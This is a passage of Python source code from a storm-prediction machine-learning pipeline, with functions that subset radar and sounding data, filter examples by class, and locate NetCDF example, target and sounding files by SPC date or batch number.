def _compare_metadata(netcdf_dataset, example_dict):
"""Compares metadata between existing NetCDF file and new batch of examples.
This method contains a large number of `assert` statements. If any of the
`assert` statements fails, this method will error out.
:param netcdf_dataset: Instance of `netCDF4.Dataset`.
:param example_dict: See doc for `write_examples_with_3d_radar`.
:raises: ValueError: if the two sets have different metadata.
"""
include_soundings = SOUNDING_MATRIX_KEY in example_dict
orig_example_dict = {
TARGET_NAMES_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:])
],
ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)),
RADAR_FIELDS_KEY: [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[RADAR_FIELDS_KEY][:])
],
RADAR_HEIGHTS_KEY: numpy.array(
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int
)
}
if example_dict[ROTATED_GRIDS_KEY]:
orig_example_dict[ROTATED_GRID_SPACING_KEY] = int(
getattr(netcdf_dataset, ROTATED_GRID_SPACING_KEY)
)
if include_soundings:
orig_example_dict[SOUNDING_FIELDS_KEY] = [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:])
]
orig_example_dict[SOUNDING_HEIGHTS_KEY] = numpy.array(
netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:], dtype=int
)
for this_key in orig_example_dict:
if isinstance(example_dict[this_key], numpy.ndarray):
if numpy.array_equal(example_dict[this_key],
orig_example_dict[this_key]):
continue
else:
if example_dict[this_key] == orig_example_dict[this_key]:
continue
error_string = (
'\n"{0:s}" in existing NetCDF file:\n{1:s}\n\n"{0:s}" in new batch '
'of examples:\n{2:s}\n\n'
).format(
this_key, str(orig_example_dict[this_key]),
str(example_dict[this_key])
)
raise ValueError(error_string)
def _filter_examples_by_class(target_values, downsampling_dict,
test_mode=False):
"""Filters examples by target value.
E = number of examples
:param target_values: length-E numpy array of target values (integer class
labels).
:param downsampling_dict: Dictionary, where each key is the integer
ID for a target class (-2 for "dead storm") and the corresponding value
is the number of examples desired from said class. If
`downsampling_dict is None`, `example_dict` will be returned
without modification.
:param test_mode: Never mind. Just leave this alone.
:return: indices_to_keep: 1-D numpy array with indices of examples to keep.
These are all integers in [0, E - 1].
"""
num_examples = len(target_values)
if downsampling_dict is None:
return numpy.linspace(0, num_examples - 1, num=num_examples, dtype=int)
indices_to_keep = numpy.array([], dtype=int)
class_keys = list(downsampling_dict.keys())
for this_class in class_keys:
this_num_storm_objects = downsampling_dict[this_class]
these_indices = numpy.where(target_values == this_class)[0]
this_num_storm_objects = min(
[this_num_storm_objects, len(these_indices)]
)
if this_num_storm_objects == 0:
continue
if test_mode:
these_indices = these_indices[:this_num_storm_objects]
else:
these_indices = numpy.random.choice(
these_indices, size=this_num_storm_objects, replace=False)
indices_to_keep = numpy.concatenate((indices_to_keep, these_indices))
return indices_to_keep
def _file_name_to_batch_number(example_file_name):
"""Parses batch number from file.
:param example_file_name: See doc for `find_example_file`.
:return: batch_number: Integer.
:raises: ValueError: if batch number cannot be parsed from file name.
"""
pathless_file_name = os.path.split(example_file_name)[-1]
extensionless_file_name = os.path.splitext(pathless_file_name)[0]
return int(extensionless_file_name.split('input_examples_batch')[-1])
def _check_target_vars(target_names):
"""Error-checks list of target variables.
Target variables must all have the same mean lead time (average of min and
max lead times) and event type (tornado or wind).
:param target_names: 1-D list with names of target variables. Each must be
accepted by `target_val_utils.target_name_to_params`.
:return: mean_lead_time_seconds: Mean lead time (shared by all target
variables).
:return: event_type_string: Event type.
:raises: ValueError: if target variables do not all have the same mean lead
time or event type.
"""
error_checking.assert_is_string_list(target_names)
error_checking.assert_is_numpy_array(
numpy.array(target_names), num_dimensions=1
)
num_target_vars = len(target_names)
mean_lead_times = numpy.full(num_target_vars, -1, dtype=int)
event_type_strings = numpy.full(num_target_vars, '', dtype=object)
for k in range(num_target_vars):
this_param_dict = target_val_utils.target_name_to_params(
target_names[k]
)
event_type_strings[k] = this_param_dict[target_val_utils.EVENT_TYPE_KEY]
mean_lead_times[k] = int(numpy.round(
(this_param_dict[target_val_utils.MAX_LEAD_TIME_KEY] +
this_param_dict[target_val_utils.MIN_LEAD_TIME_KEY])
/ 2
))
if len(numpy.unique(mean_lead_times)) != 1:
error_string = (
'Target variables (listed below) have different mean lead times.'
'\n{0:s}'
).format(str(target_names))
raise ValueError(error_string)
if len(numpy.unique(event_type_strings)) != 1:
error_string = (
'Target variables (listed below) have different event types.\n{0:s}'
).format(str(target_names))
raise ValueError(error_string)
return mean_lead_times[0], event_type_strings[0]
def _check_layer_operation(example_dict, operation_dict):
"""Error-checks layer operation.
Such operations are used for dimensionality reduction (to convert radar data
from 3-D to 2-D).
:param example_dict: See doc for `reduce_examples_3d_to_2d`.
:param operation_dict: Dictionary with the following keys.
operation_dict["radar_field_name"]: Field to which operation will be
applied.
operation_dict["operation_name"]: Name of operation (must be in list
`VALID_LAYER_OPERATION_NAMES`).
operation_dict["min_height_m_agl"]: Minimum height of layer over which
operation will be applied.
operation_dict["max_height_m_agl"]: Max height of layer over which operation
will be applied.
:raises: ValueError: if something is wrong with the operation params.
"""
if operation_dict[RADAR_FIELD_KEY] in AZIMUTHAL_SHEAR_FIELD_NAMES:
error_string = (
'Layer operations cannot be applied to azimuthal-shear fields '
'(such as "{0:s}").'
).format(operation_dict[RADAR_FIELD_KEY])
raise ValueError(error_string)
if (operation_dict[RADAR_FIELD_KEY] == radar_utils.REFL_NAME
and REFL_IMAGE_MATRIX_KEY in example_dict):
pass
else:
if (operation_dict[RADAR_FIELD_KEY]
not in example_dict[RADAR_FIELDS_KEY]):
error_string = (
'\n{0:s}\nExamples contain only radar fields listed above, '
'which do not include "{1:s}".'
).format(
str(example_dict[RADAR_FIELDS_KEY]),
operation_dict[RADAR_FIELD_KEY]
)
raise ValueError(error_string)
if operation_dict[OPERATION_NAME_KEY] not in VALID_LAYER_OPERATION_NAMES:
error_string = (
'\n{0:s}\nValid operations (listed above) do not include '
'"{1:s}".'
).format(
str(VALID_LAYER_OPERATION_NAMES), operation_dict[OPERATION_NAME_KEY]
)
raise ValueError(error_string)
min_height_m_agl = operation_dict[MIN_HEIGHT_KEY]
max_height_m_agl = operation_dict[MAX_HEIGHT_KEY]
error_checking.assert_is_geq(
min_height_m_agl, numpy.min(example_dict[RADAR_HEIGHTS_KEY])
)
error_checking.assert_is_leq(
max_height_m_agl, numpy.max(example_dict[RADAR_HEIGHTS_KEY])
)
error_checking.assert_is_greater(max_height_m_agl, min_height_m_agl)
def _apply_layer_operation(example_dict, operation_dict):
"""Applies layer operation to radar data.
:param example_dict: See doc for `reduce_examples_3d_to_2d`.
:param operation_dict: See doc for `_check_layer_operation`.
:return: new_radar_matrix: E-by-M-by-N numpy array resulting from layer
operation.
"""
_check_layer_operation(example_dict=example_dict,
operation_dict=operation_dict)
height_diffs_metres = (
example_dict[RADAR_HEIGHTS_KEY] - operation_dict[MIN_HEIGHT_KEY]
).astype(float)
height_diffs_metres[height_diffs_metres > 0] = -numpy.inf
min_height_index = numpy.argmax(height_diffs_metres)
height_diffs_metres = (
operation_dict[MAX_HEIGHT_KEY] - example_dict[RADAR_HEIGHTS_KEY]
).astype(float)
height_diffs_metres[height_diffs_metres > 0] = -numpy.inf
max_height_index = numpy.argmax(height_diffs_metres)
operation_dict[MIN_HEIGHT_KEY] = example_dict[
RADAR_HEIGHTS_KEY][min_height_index]
operation_dict[MAX_HEIGHT_KEY] = example_dict[
RADAR_HEIGHTS_KEY][max_height_index]
operation_name = operation_dict[OPERATION_NAME_KEY]
operation_function = OPERATION_NAME_TO_FUNCTION_DICT[operation_name]
if REFL_IMAGE_MATRIX_KEY in example_dict:
orig_matrix = example_dict[REFL_IMAGE_MATRIX_KEY][
..., min_height_index:(max_height_index + 1), 0]
else:
field_index = example_dict[RADAR_FIELDS_KEY].index(
operation_dict[RADAR_FIELD_KEY])
orig_matrix = example_dict[RADAR_IMAGE_MATRIX_KEY][
..., min_height_index:(max_height_index + 1), field_index]
return operation_function(orig_matrix, axis=-1), operation_dict
def _subset_radar_data(
example_dict, netcdf_dataset_object, example_indices_to_keep,
field_names_to_keep, heights_to_keep_m_agl, num_rows_to_keep,
num_columns_to_keep):
"""Subsets radar data by field, height, and horizontal extent.
If the file contains both 2-D shear images and 3-D reflectivity images (like
MYRORSS data):
- `field_names_to_keep` will be interpreted as a list of shear fields to
keep. If None, all shear fields will be kept.
- `heights_to_keep_m_agl` will be interpreted as a list of reflectivity
heights to keep. If None, all reflectivity heights will be kept.
If the file contains only 2-D images, `field_names_to_keep` and
`heights_to_keep_m_agl` will be considered together, as a list of
field/height pairs to keep. If either argument is None, then all
field-height pairs will be kept.
If the file contains only 3-D images, `field_names_to_keep` and
`heights_to_keep_m_agl` will be considered separately:
- `field_names_to_keep` will be interpreted as a list of fields to keep. If
None, all fields will be kept.
- `heights_to_keep_m_agl` will be interpreted as a list of heights to keep.
If None, all heights will be kept.
:param example_dict: See output doc for `_read_metadata_from_example_file`.
:param netcdf_dataset_object: Same.
:param example_indices_to_keep: 1-D numpy array with indices of examples
(storm objects) to keep. These are examples in `netcdf_dataset_object`
for which radar data will be added to `example_dict`.
:param field_names_to_keep: See discussion above.
:param heights_to_keep_m_agl: See discussion above.
:param num_rows_to_keep: Number of grid rows to keep. Images will be
center-cropped (i.e., rows will be removed from the edges) to meet the
desired number of rows. If None, all rows will be kept.
:param num_columns_to_keep: Same as above but for columns.
:return: example_dict: Same as input but with the following exceptions.
[1] Keys "radar_field_names" and "radar_heights_m_agl" may have different
values.
[2] If file contains both 2-D and 3-D images, dictionary now contains keys
"reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01".
[3] If file contains only 2-D or only 3-D images, dictionary now contains
key "radar_image_matrix".
"""
if field_names_to_keep is None:
field_names_to_keep = copy.deepcopy(example_dict[RADAR_FIELDS_KEY])
if heights_to_keep_m_agl is None:
heights_to_keep_m_agl = example_dict[RADAR_HEIGHTS_KEY] + 0
error_checking.assert_is_numpy_array(
numpy.array(field_names_to_keep), num_dimensions=1
)
heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int)
error_checking.assert_is_numpy_array(
heights_to_keep_m_agl, num_dimensions=1)
if RADAR_IMAGE_MATRIX_KEY in netcdf_dataset_object.variables:
radar_matrix = numpy.array(
netcdf_dataset_object.variables[RADAR_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
num_radar_dimensions = len(radar_matrix.shape) - 2
if num_radar_dimensions == 2:
these_indices = [
numpy.where(numpy.logical_and(
example_dict[RADAR_FIELDS_KEY] == f,
example_dict[RADAR_HEIGHTS_KEY] == h
))[0][0]
for f, h in zip(field_names_to_keep, heights_to_keep_m_agl)
]
these_indices = numpy.array(these_indices, dtype=int)
radar_matrix = radar_matrix[..., these_indices]
else:
these_field_indices = numpy.array([
example_dict[RADAR_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
radar_matrix = radar_matrix[..., these_field_indices]
these_height_indices = numpy.array([
numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
radar_matrix = radar_matrix[..., these_height_indices, :]
radar_matrix = storm_images.downsize_storm_images(
storm_image_matrix=radar_matrix,
radar_field_name=field_names_to_keep[0],
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
example_dict[RADAR_IMAGE_MATRIX_KEY] = radar_matrix
else:
reflectivity_matrix_dbz = numpy.array(
netcdf_dataset_object.variables[REFL_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
reflectivity_matrix_dbz = numpy.expand_dims(
reflectivity_matrix_dbz, axis=-1
)
azimuthal_shear_matrix_s01 = numpy.array(
netcdf_dataset_object.variables[AZ_SHEAR_IMAGE_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
these_height_indices = numpy.array([
numpy.where(example_dict[RADAR_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
reflectivity_matrix_dbz = reflectivity_matrix_dbz[
..., these_height_indices, :]
these_field_indices = numpy.array([
example_dict[RADAR_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
azimuthal_shear_matrix_s01 = azimuthal_shear_matrix_s01[
..., these_field_indices]
reflectivity_matrix_dbz = storm_images.downsize_storm_images(
storm_image_matrix=reflectivity_matrix_dbz,
radar_field_name=radar_utils.REFL_NAME,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
azimuthal_shear_matrix_s01 = storm_images.downsize_storm_images(
storm_image_matrix=azimuthal_shear_matrix_s01,
radar_field_name=field_names_to_keep[0],
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
example_dict[REFL_IMAGE_MATRIX_KEY] = reflectivity_matrix_dbz
example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] = azimuthal_shear_matrix_s01
example_dict[RADAR_FIELDS_KEY] = field_names_to_keep
example_dict[RADAR_HEIGHTS_KEY] = heights_to_keep_m_agl
return example_dict
def _subset_sounding_data(
example_dict, netcdf_dataset_object, example_indices_to_keep,
field_names_to_keep, heights_to_keep_m_agl):
"""Subsets sounding data by field and height.
:param example_dict: See doc for `_subset_radar_data`.
:param netcdf_dataset_object: Same.
:param example_indices_to_keep: Same.
:param field_names_to_keep: 1-D list of field names to keep. If None, will
keep all fields.
:param heights_to_keep_m_agl: 1-D numpy array of heights to keep. If None,
will keep all heights.
:return: example_dict: Same as input but with the following exceptions.
[1] Keys "sounding_field_names" and "sounding_heights_m_agl" may have
different values.
[2] Key "sounding_matrix" has been added.
"""
if field_names_to_keep is None:
field_names_to_keep = copy.deepcopy(example_dict[SOUNDING_FIELDS_KEY])
if heights_to_keep_m_agl is None:
heights_to_keep_m_agl = example_dict[SOUNDING_HEIGHTS_KEY] + 0
error_checking.assert_is_numpy_array(
numpy.array(field_names_to_keep), num_dimensions=1
)
heights_to_keep_m_agl = numpy.round(heights_to_keep_m_agl).astype(int)
error_checking.assert_is_numpy_array(
heights_to_keep_m_agl, num_dimensions=1)
sounding_matrix = numpy.array(
netcdf_dataset_object.variables[SOUNDING_MATRIX_KEY][
example_indices_to_keep, ...
],
dtype=float
)
# TODO(thunderhoser): This is a HACK.
spfh_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.SPECIFIC_HUMIDITY_NAME)
temp_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.TEMPERATURE_NAME)
pressure_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.PRESSURE_NAME)
theta_v_index = example_dict[SOUNDING_FIELDS_KEY].index(
soundings.VIRTUAL_POTENTIAL_TEMPERATURE_NAME)
sounding_matrix[..., spfh_index][
numpy.isnan(sounding_matrix[..., spfh_index])
] = 0.
nan_example_indices, nan_height_indices = numpy.where(numpy.isnan(
sounding_matrix[..., theta_v_index]
))
if len(nan_example_indices) > 0:
this_temp_matrix_kelvins = sounding_matrix[..., temp_index][
nan_example_indices, nan_height_indices]
this_pressure_matrix_pa = sounding_matrix[..., pressure_index][
nan_example_indices, nan_height_indices]
this_thetav_matrix_kelvins = (
temp_conversion.temperatures_to_potential_temperatures(
temperatures_kelvins=this_temp_matrix_kelvins,
total_pressures_pascals=this_pressure_matrix_pa)
)
sounding_matrix[..., theta_v_index][
nan_example_indices, nan_height_indices
] = this_thetav_matrix_kelvins
these_indices = numpy.array([
example_dict[SOUNDING_FIELDS_KEY].index(f)
for f in field_names_to_keep
], dtype=int)
sounding_matrix = sounding_matrix[..., these_indices]
these_indices = numpy.array([
numpy.where(example_dict[SOUNDING_HEIGHTS_KEY] == h)[0][0]
for h in heights_to_keep_m_agl
], dtype=int)
sounding_matrix = sounding_matrix[..., these_indices, :]
example_dict[SOUNDING_FIELDS_KEY] = field_names_to_keep
example_dict[SOUNDING_HEIGHTS_KEY] = heights_to_keep_m_agl
example_dict[SOUNDING_MATRIX_KEY] = sounding_matrix
return example_dict
def find_storm_images_2d(
top_directory_name, radar_source, radar_field_names,
first_spc_date_string, last_spc_date_string, radar_heights_m_agl=None,
reflectivity_heights_m_agl=None):
"""Locates files with 2-D storm-centered radar images.
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: Name of top-level directory. Files therein will
be found by `storm_images.find_storm_image_file`.
:param radar_source: Data source (must be accepted by
`radar_utils.check_data_source`).
:param radar_field_names: 1-D list of radar fields. Each item must be
accepted by `radar_utils.check_field_name`.
:param first_spc_date_string: First SPC date (format "yyyymmdd"). This
method will locate files from `first_spc_date_string`...
`last_spc_date_string`.
:param last_spc_date_string: Same.
:param radar_heights_m_agl: [used only if radar_source = "gridrad"]
1-D numpy array of radar heights (metres above ground level). These
heights apply to all radar fields.
:param reflectivity_heights_m_agl: [used only if radar_source != "gridrad"]
1-D numpy array of reflectivity heights (metres above ground level).
These heights do not apply to other radar fields.
:return: radar_file_name_matrix: D-by-C numpy array of file paths.
"""
radar_utils.check_data_source(radar_source)
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
storm_image_file_dict = storm_images.find_many_files_gridrad(
top_directory_name=top_directory_name,
radar_field_names=radar_field_names,
radar_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False, raise_error_if_all_missing=True)
else:
storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name, radar_source=radar_source,
radar_field_names=radar_field_names,
reflectivity_heights_m_agl=reflectivity_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = storm_image_file_dict[
storm_images.IMAGE_FILE_NAMES_KEY]
num_file_times = radar_file_name_matrix.shape[0]
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
num_field_height_pairs = (
radar_file_name_matrix.shape[1] * radar_file_name_matrix.shape[2]
)
radar_file_name_matrix = numpy.reshape(
radar_file_name_matrix, (num_file_times, num_field_height_pairs)
)
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
return numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0)
def find_storm_images_3d(
top_directory_name, radar_source, radar_field_names,
radar_heights_m_agl, first_spc_date_string, last_spc_date_string):
"""Locates files with 3-D storm-centered radar images.
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: See doc for `find_storm_images_2d`.
:param radar_source: Same.
:param radar_field_names: List (length F_r) of radar fields. Each item must
be accepted by `radar_utils.check_field_name`.
:param radar_heights_m_agl: numpy array (length H_r) of radar heights
(metres above ground level).
:param first_spc_date_string: First SPC date (format "yyyymmdd"). This
method will locate files from `first_spc_date_string`...
`last_spc_date_string`.
:param last_spc_date_string: Same.
:return: radar_file_name_matrix: numpy array (D x F_r x H_r) of file paths.
"""
radar_utils.check_data_source(radar_source)
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
if radar_source == radar_utils.GRIDRAD_SOURCE_ID:
file_dict = storm_images.find_many_files_gridrad(
top_directory_name=top_directory_name,
radar_field_names=radar_field_names,
radar_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False, raise_error_if_all_missing=True)
else:
file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name, radar_source=radar_source,
radar_field_names=[radar_utils.REFL_NAME],
reflectivity_heights_m_agl=radar_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = file_dict[storm_images.IMAGE_FILE_NAMES_KEY]
num_file_times = radar_file_name_matrix.shape[0]
if radar_source != radar_utils.GRIDRAD_SOURCE_ID:
radar_file_name_matrix = numpy.reshape(
radar_file_name_matrix,
(num_file_times, 1, len(radar_heights_m_agl))
)
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
return numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0)
def find_storm_images_2d3d_myrorss(
top_directory_name, first_spc_date_string, last_spc_date_string,
reflectivity_heights_m_agl):
"""Locates files with 2-D and 3-D storm-centered radar images.
Fields in 2-D images: low-level and mid-level azimuthal shear
Field in 3-D images: reflectivity
D = number of SPC dates in time period (`first_spc_date_string`...
`last_spc_date_string`)
:param top_directory_name: See doc for `find_storm_images_2d`.
:param first_spc_date_string: Same.
:param last_spc_date_string: Same.
:param reflectivity_heights_m_agl: Same.
:return: az_shear_file_name_matrix: D-by-2 numpy array of file paths. Files
in column 0 are low-level az shear; files in column 1 are mid-level az
shear.
:return: reflectivity_file_name_matrix: D-by-H numpy array of file paths,
where H = number of reflectivity heights.
"""
first_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
first_spc_date_string)
last_spc_date_unix_sec = time_conversion.spc_date_string_to_unix_sec(
last_spc_date_string)
field_names = AZIMUTHAL_SHEAR_FIELD_NAMES + [radar_utils.REFL_NAME]
storm_image_file_dict = storm_images.find_many_files_myrorss_or_mrms(
top_directory_name=top_directory_name,
radar_source=radar_utils.MYRORSS_SOURCE_ID,
radar_field_names=field_names,
reflectivity_heights_m_agl=reflectivity_heights_m_agl,
start_time_unix_sec=first_spc_date_unix_sec,
end_time_unix_sec=last_spc_date_unix_sec,
one_file_per_time_step=False,
raise_error_if_all_missing=True, raise_error_if_any_missing=False)
radar_file_name_matrix = storm_image_file_dict[
storm_images.IMAGE_FILE_NAMES_KEY]
time_missing_indices = numpy.unique(
numpy.where(radar_file_name_matrix == '')[0]
)
radar_file_name_matrix = numpy.delete(
radar_file_name_matrix, time_missing_indices, axis=0)
return radar_file_name_matrix[:, :2], radar_file_name_matrix[:, 2:]
def find_sounding_files(
top_sounding_dir_name, radar_file_name_matrix, target_names,
lag_time_for_convective_contamination_sec):
"""Locates files with storm-centered soundings.
D = number of SPC dates in time period
:param top_sounding_dir_name: Name of top-level directory. Files therein
will be found by `soundings.find_sounding_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param target_names: See doc for `_check_target_vars`.
:param lag_time_for_convective_contamination_sec: See doc for
`soundings.read_soundings`.
:return: sounding_file_names: length-D list of file paths.
"""
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
mean_lead_time_seconds = _check_target_vars(target_names)[0]
num_file_times = radar_file_name_matrix.shape[0]
sounding_file_names = [''] * num_file_times
for i in range(num_file_times):
if num_file_dimensions == 2:
this_file_name = radar_file_name_matrix[i, 0]
else:
this_file_name = radar_file_name_matrix[i, 0, 0]
this_time_unix_sec, this_spc_date_string = (
storm_images.image_file_name_to_time(this_file_name)
)
sounding_file_names[i] = soundings.find_sounding_file(
top_directory_name=top_sounding_dir_name,
spc_date_string=this_spc_date_string,
lead_time_seconds=mean_lead_time_seconds,
lag_time_for_convective_contamination_sec=
lag_time_for_convective_contamination_sec,
init_time_unix_sec=this_time_unix_sec, raise_error_if_missing=True)
return sounding_file_names
def find_target_files(top_target_dir_name, radar_file_name_matrix,
target_names):
"""Locates files with target values (storm-hazard indicators).
D = number of SPC dates in time period
:param top_target_dir_name: Name of top-level directory. Files therein
will be found by `target_val_utils.find_target_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param target_names: See doc for `_check_target_vars`.
:return: target_file_names: length-D list of file paths.
"""
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
event_type_string = _check_target_vars(target_names)[-1]
num_file_times = radar_file_name_matrix.shape[0]
target_file_names = [''] * num_file_times
for i in range(num_file_times):
if num_file_dimensions == 2:
this_file_name = radar_file_name_matrix[i, 0]
else:
this_file_name = radar_file_name_matrix[i, 0, 0]
_, this_spc_date_string = storm_images.image_file_name_to_time(
this_file_name)
target_file_names[i] = target_val_utils.find_target_file(
top_directory_name=top_target_dir_name,
event_type_string=event_type_string,
spc_date_string=this_spc_date_string, raise_error_if_missing=False)
if os.path.isfile(target_file_names[i]):
continue
target_file_names[i] = None
return target_file_names
def subset_examples(example_dict, indices_to_keep, create_new_dict=False):
"""Subsets examples in dictionary.
:param example_dict: See doc for `write_example_file`.
:param indices_to_keep: 1-D numpy array with indices of examples to keep.
:param create_new_dict: Boolean flag. If True, this method will create a
new dictionary, leaving the input dictionary untouched.
:return: example_dict: Same as input, but possibly with fewer examples.
"""
error_checking.assert_is_integer_numpy_array(indices_to_keep)
error_checking.assert_is_numpy_array(indices_to_keep, num_dimensions=1)
error_checking.assert_is_boolean(create_new_dict)
if not create_new_dict:
for this_key in MAIN_KEYS:
optional_key_missing = (
this_key not in REQUIRED_MAIN_KEYS
and this_key not in example_dict
)
if optional_key_missing:
continue
if this_key == TARGET_MATRIX_KEY:
if this_key in example_dict:
example_dict[this_key] = (
example_dict[this_key][indices_to_keep, ...]
)
else:
example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][indices_to_keep]
)
continue
if this_key == FULL_IDS_KEY:
example_dict[this_key] = [
example_dict[this_key][k] for k in indices_to_keep
]
else:
example_dict[this_key] = example_dict[this_key][
indices_to_keep, ...]
return example_dict
new_example_dict = {}
for this_key in METADATA_KEYS:
sounding_key_missing = (
this_key in [SOUNDING_FIELDS_KEY, SOUNDING_HEIGHTS_KEY]
and this_key not in example_dict
)
if sounding_key_missing:
continue
if this_key == TARGET_NAMES_KEY:
if this_key in example_dict:
new_example_dict[this_key] = example_dict[this_key]
else:
new_example_dict[TARGET_NAME_KEY] = example_dict[
TARGET_NAME_KEY]
continue
new_example_dict[this_key] = example_dict[this_key]
for this_key in MAIN_KEYS:
optional_key_missing = (
this_key not in REQUIRED_MAIN_KEYS
and this_key not in example_dict
)
if optional_key_missing:
continue
if this_key == TARGET_MATRIX_KEY:
if this_key in example_dict:
new_example_dict[this_key] = (
example_dict[this_key][indices_to_keep, ...]
)
else:
new_example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][indices_to_keep]
)
continue
if this_key == FULL_IDS_KEY:
new_example_dict[this_key] = [
example_dict[this_key][k] for k in indices_to_keep
]
else:
new_example_dict[this_key] = example_dict[this_key][
indices_to_keep, ...]
return new_example_dict
def find_example_file(
top_directory_name, shuffled=True, spc_date_string=None,
batch_number=None, raise_error_if_missing=True):
"""Looks for file with input examples.
If `shuffled = True`, this method looks for a file with shuffled examples
(from many different times). If `shuffled = False`, this method looks for a
file with examples from one SPC date.
:param top_directory_name: Name of top-level directory with input examples.
:param shuffled: Boolean flag. The role of this flag is explained in the
general discussion above.
:param spc_date_string: [used only if `shuffled = False`]
SPC date (format "yyyymmdd").
:param batch_number: [used only if `shuffled = True`]
Batch number (integer).
:param raise_error_if_missing: Boolean flag. If file is missing and
`raise_error_if_missing = True`, this method will error out.
:return: example_file_name: Path to file with input examples. If file is
missing and `raise_error_if_missing = False`, this is the *expected*
path.
:raises: ValueError: if file is missing and `raise_error_if_missing = True`.
"""
error_checking.assert_is_string(top_directory_name)
error_checking.assert_is_boolean(shuffled)
error_checking.assert_is_boolean(raise_error_if_missing)
if shuffled:
error_checking.assert_is_integer(batch_number)
error_checking.assert_is_geq(batch_number, 0)
first_batch_number = int(number_rounding.floor_to_nearest(
batch_number, NUM_BATCHES_PER_DIRECTORY))
last_batch_number = first_batch_number + NUM_BATCHES_PER_DIRECTORY - 1
example_file_name = (
'{0:s}/batches{1:07d}-{2:07d}/input_examples_batch{3:07d}.nc'
).format(top_directory_name, first_batch_number, last_batch_number,
batch_number)
else:
time_conversion.spc_date_string_to_unix_sec(spc_date_string)
example_file_name = (
'{0:s}/{1:s}/input_examples_{2:s}.nc'
).format(top_directory_name, spc_date_string[:4], spc_date_string)
if raise_error_if_missing and not os.path.isfile(example_file_name):
error_string = 'Cannot find file. Expected at: "{0:s}"'.format(
example_file_name)
raise ValueError(error_string)
return example_file_name
def find_many_example_files(
top_directory_name, shuffled=True, first_spc_date_string=None,
last_spc_date_string=None, first_batch_number=None,
last_batch_number=None, raise_error_if_any_missing=True):
"""Looks for many files with input examples.
:param top_directory_name: See doc for `find_example_file`.
:param shuffled: Same.
:param first_spc_date_string: [used only if `shuffled = False`]
First SPC date (format "yyyymmdd"). This method will look for all SPC
dates from `first_spc_date_string`...`last_spc_date_string`.
:param last_spc_date_string: See above.
:param first_batch_number: [used only if `shuffled = True`]
First batch number (integer). This method will look for all batches
from `first_batch_number`...`last_batch_number`.
:param last_batch_number: See above.
:param raise_error_if_any_missing: Boolean flag. If *any* desired file is
not found and `raise_error_if_any_missing = True`, this method will
error out.
:return: example_file_names: 1-D list of paths to example files.
:raises: ValueError: if no files are found.
"""
